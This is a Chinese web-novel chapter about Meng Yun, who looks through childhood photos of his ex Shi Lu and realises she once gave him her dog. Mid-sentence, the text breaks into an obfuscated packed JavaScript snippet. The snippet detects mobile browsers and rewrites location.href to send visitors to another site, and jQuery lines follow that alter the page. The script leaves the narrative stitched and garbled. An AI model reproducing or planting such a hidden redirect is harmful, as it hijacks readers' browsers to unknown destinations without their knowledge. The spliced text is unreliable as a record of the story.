时禄初中时的照片，孟筠的确是第一次见。她穿着公立初中的校服，整个人套在蓝白条纹的宽大衣物里，只露出一截修长的脖颈，马尾齐整地束在脑后，额前没有多余的碎发。
不得不承认人与人之间存在天赋之分；有人天生擅长抽象记忆，有人逻辑缜密，有人随心把控色彩光影；而见了时禄的照片，谁都会夸赞她有一张适合演戏的脸。
头小脸小，兼具骨相皮相，难怪那时候会被张兰选走拍戏。
助理把时禄的照片都洗了出来，一张一张摸过，比用电子设备看有实感。十几年前的相册都是这样做的，孟筠自己小学、初中毕业时，也有实体的大合照，妈妈当时还为他做了一本相册，上面放的是他与每一个同学的单独合影。
说起来，也好久没去看妈妈了。
孟筠捏着照片，十年前的时禄，大约是初二初三的年纪，面上却并没有寻常小孩的开朗，微抿着嘴，神情沉毅，在合照里显得有些格格不入。
的确如时禄所说，他们之间不对等。只要孟筠想，他可以轻易查到时禄从前公开过的任何信息，因为他不缺时间，不缺熟人，不缺渠道；但从前他一次也没主动查过，这是尊重。
是不是因为从来没查过，才导致她误会呢？误会他会介意她家的情况？
时禄在合照里看起来也并不开心。孟筠下意识翻到照片背面，毕竟不是时禄自己的照片，并没有什么笔记与标注，只有光洁的塑封。
助理已经退出房间了，他一个人捏着照片看，再看也不可能在那时候便和时禄认识。
第一次见到时禄，是在《十七夜谈》的录制现场。那会儿孟筠办了休学，因为父母分居，爷爷又住院，家里接连出了很多事，他帮着查；到最后有些无所事事了，卷毛说办了恋综。
“没参加过，我要去。”
孟筠做什么决定都很快速，当下便报名；迟疑的是卷毛，“你不算娱乐圈的人吧？”
“我不是写了歌么。”孟筠切了账号，“Tyuio，发了十几首歌呢，有五十万粉丝。”
卷毛很把他当自己人，“要不要把其他嘉宾的照片提前给你看？”
“不看。”孟筠说，“反正是去玩儿。”
然而他失算了。到那里，四个女生都在了，一眼看过去，时禄坐得端正，坐得安静，没有说话，双手搭在膝盖上，也不像是要来参加恋综的人。但她很美，美得大方，一眼看过去，比剩下的男男女女都出挑，如果名画里的美人能走出来，大约就是她这样的。
他妈妈喜欢看画展，还拍了好些艺术品在家，孟筠很相信自己的审美，他觉得自己运气不差，有着那样挑剔的审美，竟然真的能遇到心仪的人；但更让他意外的是，那女生见到他之后就不再从容了。
她下意识低头，又好似想起正在录制，慢慢抬眼看他，亮晶晶一双眼睛，却有着含蓄的情绪，孟筠不由笑道：“吓到你了？”
他逗她。
她却摇摇头。
“喜欢。”
“你是我喜欢的类型。”
孟筠摸着嘴唇回味，无论怎么想，时禄都是高岭之花的那个类型，比如她在照片里鹤立鸡群，比如她在恋综时端坐着沉默；如果这样的人忽然展颜，又有谁不会因此高兴。她其实大多数时候都有一点冷淡和梳理，但在恋综上怎么说呢……
不是一直在对他示好么。
大约是第三轮还是第四轮的匹配上，他们一起睡最末等的荒岛，两个睡袋贴在一起，好在那岛低纬度，并不很寒冷，孟筠说：“你贴我近一点。”时禄便真的用身体拱着睡袋朝他的方向钻……导致最后皮肤纹理都看得见，当真是好近，但很安静，像猫。
孟筠在搜索框输入“十七夜谈”“时禄孟筠”，至今还能找到一些陈年老帖，对于互联网而言四年简直是换了代，流行语、话题，早就换过很多遍，可那些讨论却是真切地留下来大半。
【时筠】【今天复盘第二期，女选男的几大细节】
【时筠】【最终夜的糖点汇总】
【时筠】【礼物汇总】
【时筠】【穿搭汇总】
【时筠】【这个筠真的很会给时选衣服……】
看到最后一条孟筠笑出了声，其实几年前应该也看到过这条帖子，但是今日再看是不一样的心境。
网友有一点说得很对，在节目里需要竞争的那些环节，他并不是都上心了。
只有将女嘉宾服装作为奖励的游戏，孟筠才很认真去做。
可以发自肺腑地说，没给时禄穿过丑衣服。
可能他这人就是有一种虚荣心，时禄的魅力经由他焕发出来，总让人心情舒畅。
孟筠又从相册里抽出一张，是小学演讲的照片，那时候的时禄总算有一点小朋友的样子，穿着连衣裙和皮鞋，看上去在什么礼堂读演讲稿。不过就算是比赛间隙拍下的图片，也有些略微的出神，她总是游离在外，但他每次喊她，她都听得超级认真，仿佛只要他招招手就能把时禄拽回这个世界，孟筠太喜欢那种特殊的感觉了，他一直认为自己对于时禄而言就是特殊的存在，想到这里就捏了捏照片，他从没明白过她逃避的缘由。
她是有什么事不肯说的，每当他开玩笑说“我对你是一见钟情”，时禄便很微妙地笑笑，没有否认，也没有像寻常一样接话。
小时候的照片不知道助理是怎么找来的，或许是时禄曾经参加什么活动，主动交给公司的。小时候就能看起来长得端正，三庭五眼很正，能看出桃花眼的雏形。孟筠顺手把照片插在桌上的空相框里，这相框曾经放着他和时禄的一张合照，空落落的相框堆在密集文书中间，显得有些格格不入；此刻终于又顺眼起来。
孟筠本要关掉网页，却鬼使神差因为两个关键词停住：
【时筠】【扒一扒二人的小时候】
他点进去。
【楼主也是上网找的，消息来源不能说特别准确，但至少是把能搜罗到的信息都汇聚在一起了……】
【时和公司同事CTY合拍的那部家庭剧，在完结之后，曾有一个短暂的访谈。】
这个缩写是谁。孟筠一头雾水莫名其妙，截图给助理让他找。
不久便有了回复。
助理：这个缩写一般指陈廷烨。
孟筠了然，不过他对这人观感不好，因为曾经有群不识好歹的人说时禄和陈廷烨很配。
助理又发消息：最近也有人在嗑CP呢。
助理是孟筠收购那几家媒体时顺便接管的人才，此人十分熟悉买水军、管理话题、舆情监控等系列营销套路，孟筠没法质疑他说的，微妙的不悦冲昏头脑。
孟筠：帮我把那些言论刷没。
助理：好的老板。
孟筠安心，继续看电脑屏幕。
【时在访谈里说自己养过小狗，正好在第一期他就和筠聊过宠物的话题，从筠的微博可以看到他养了三只狗，不过不知道时家的小狗长什么样。他们私下里一定一起遛狗吧~~四只呢。小狗会不会互相吃醋呢？莫名其妙多了新主人啊~~】
呵。时禄真的养过狗吗，她根本不和他一起遛狗。她最多捧着那几只狗的狗头，但好像没有特别要亲近的意愿，垂着眼睛，只一遍一遍梳毛……
等一下。
时禄从没在他面前提起过她养狗……
但她梳毛的手法很熟。
他只当
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960020|192164||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她是什么都上手快……
但是，那三只狗从不排斥她，尤其是小黑，一看到时禄就扑上去叫……一直扒她的腿……
时禄捧着小黑的脸，说大黑，大黑。
“我也想养一只纯黑的狗。”五年前，他拿到驾照不久，开着一辆漂亮的车招摇过市，开了空旷的路也不知足，漫无目的开到老城区，要开一开逼仄的路，那天是阴天吗，灰白色的天空和蒙了尘的建筑间，显得萧条，没有多余的人的马路边，有一个高挑瘦削的女生，不知道为什么抱着一只很大的狗，似乎踌躇不知走去何处。
或许是想打车去宠物医院呢？孟筠没法克制自己不看热闹，顺势就停下车了，试探地打了招呼。
“我也想养一只这样纯黑的狗。”
如果她是想去宠物医院，此时便可以搭话了。
“嗯，这是五黑的土松。”曾经见过一面的，很模糊的身影浮现在眼前，那人穿着很宽松的运动服，披头散发，垂下的发遮住脸，只露出清秀的鼻和半个下巴。
“我家里人要把狗卖了。”她吐字很清楚，只仔细听时才有一点微妙的哭腔，“能不能买走我的狗……我给你两千，不要你的钱。”
……养不起吗？那为什么有钱出两千元？孟筠知道这样问的话就太伤人自尊心了，他搭在车窗上，不明所以地看向她，却见她抬起头，年纪很小，但有着很倔的一双眼睛，肿着眼皮，眼眶很红，有泪痕，却没眼泪，安静地等他回答。
不知道是被人打了，还是和人打了架，整个人绝对是很狼狈的。
想把狗送走，或许是真的有苦衷。
到底什么苦衷，问那么清楚做什么呢，这只狗没问题，他能把狗养好，不就行了吗，反正帮这忙对他来说是举手之劳，只要她把狗送走不后悔……
孟筠不知道要不要对方留联系方式，她可能也是没办法才要把狗送走的，也没有能求助的人，如果她之后有能力，还可以把狗领回去……但是女生没有掏出手机的意思，她没背包，口袋看上去也没手机，把狗递给他，就转身要走。
土松不明所以地呜咽一声，但乖乖缩着手脚，孟筠把狗放在副驾，在身上找了半天，也没什么能给她的东西。
“给你纸巾。”
只有一包湿纸巾，还十分不严肃地印着美乐蒂。如果那女孩的伤心是苦于没钱上学，他可以赞助她；如果那女生的伤心是被家暴，他可以帮她找援助；如果那女生的伤心是因为无法继续抚养一只狗，那他只能送上一包湿纸巾，希望她可以擦干泪痕，此后不用忧心狗的去处。
……
那是时禄。
一切微妙的线索都对上似的，可是他不知道那时候的时禄并不单纯因一只狗伤心，她没法上学，也没被家人好好对待，他不知道，她也不说。
左右心房的血管相互缠紧似的揪得人疼痛，孟筠摸着胸口，流出泪来。她好傻啊，当时多说一句话他就能把她带离那样的世界，为什么要自顾自吃那么多苦，苦行僧吗？
时禄是在下班之后接到电话的。孟筠的声音疲惫之余带着哭腔，她正想他又闹什么脾气，却听他哑着嗓子说——
“时禄。你真能啊。”
“你从来就没有信任过我……”
“那时候把大黑送给我的人是你。你怕我见过你狼狈的一面吗？你就忍心为了这么蠢的理由甩我……甩我四年？”
“我从二十岁等你到二十四岁。时禄，我从没像今天这样觉得你这么讨厌。”
每个字都是一根线头，一字又一字，一张大网凌空将时禄笼罩住，她站定在会议室外，手中捧着新的项目书，方才还在投资人面前积极说话……此时却喝了哑药似的失言了。